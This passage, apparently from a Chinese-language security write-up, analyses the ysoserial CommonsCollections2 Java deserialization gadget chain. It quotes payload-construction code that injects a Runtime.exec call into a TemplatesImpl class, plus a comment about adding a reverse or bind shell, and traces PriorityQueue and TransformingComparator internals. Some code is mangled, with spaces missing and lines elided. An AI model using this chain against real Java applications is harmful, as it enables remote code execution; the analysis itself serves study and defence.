public Queue<Object> getObject(final String command)throws Exception { // 创建构造函数包含恶意代码的TemplatesImpl实例 final Object templates = Gadgets.createTemplatesImpl(command); // 用一个无意义的数据初始化InvokerTransformer,后面会再次修改 final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// 初始化一个PriorityQueue对象,定义其容量为2、比较器为TransformingComparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // 插入一些无意义的数据,后面再修改 queue.add(1); queue.add(1);
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; // 创建一个空的类初始化方法(其实就是静态构造函数,即static{}),并在方法后面添加恶意代码 clazz.makeClassInitializer().insertAfter(cmd); // 为这个类创建一个随机化的名称,以ysoserial.Pwner打头 clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 获取AbstractTranslet类,并将它作为刚刚创建类的父类 CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC);
publicPriorityQueue(int initialCapacity, Comparator<? super E> comparator){ // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) thrownew IllegalArgumentException(); // 成员变量queue用来保存一个Object数组 this.queue = new Object[initialCapacity]; // 成员变量comparator用来保存比较器 this.comparator = comparator; }
// Elements are guaranteed to be in "proper order", but the // spec has never explained what that might be. heapify(); }
privatevoidheapify(){ // 这里的成员变量size在初始化过程中会被赋值为queue数组的元素数量 // 按照之前payload的构造方式应该是2 for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
privatevoidsiftDown(int k, E x){ if (comparator != null) siftDownUsingComparator(k, x); * * * * }
privatevoidsiftDownUsingComparator(int k, E x){ // 按照构造payload的过程推算一下: // half = 1, k=0 int half = size >>> 1; while (k < half) { // child = 1 int child = (k << 1) + 1; // c is a Interger Object Object c = queue[child]; // right = 2 int right = child + 1; // 会避开这条if语句 if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; // 这里的comparator因为是TransformingComparator,所以接下来看看它的compare方法 if (comparator.compare(x, (E) c) <= 0) break; * * * * }
攻击链之TransformingComparator类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
/* TransformingComparator.java */ // 构造函数 publicTransformingComparator(final Transformer<? super I, ? extends O> transformer){ this(transformer, ComparatorUtils.NATURAL_COMPARATOR); }
publicintcompare(final I obj1, final I obj2){ // 这里的obj1就是个TemplatesImple对象 // 根据payload构造过程,这里的this.transformer是一个InvokerTransformer对象 final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); returnthis.decorated.compare(value1, value2); }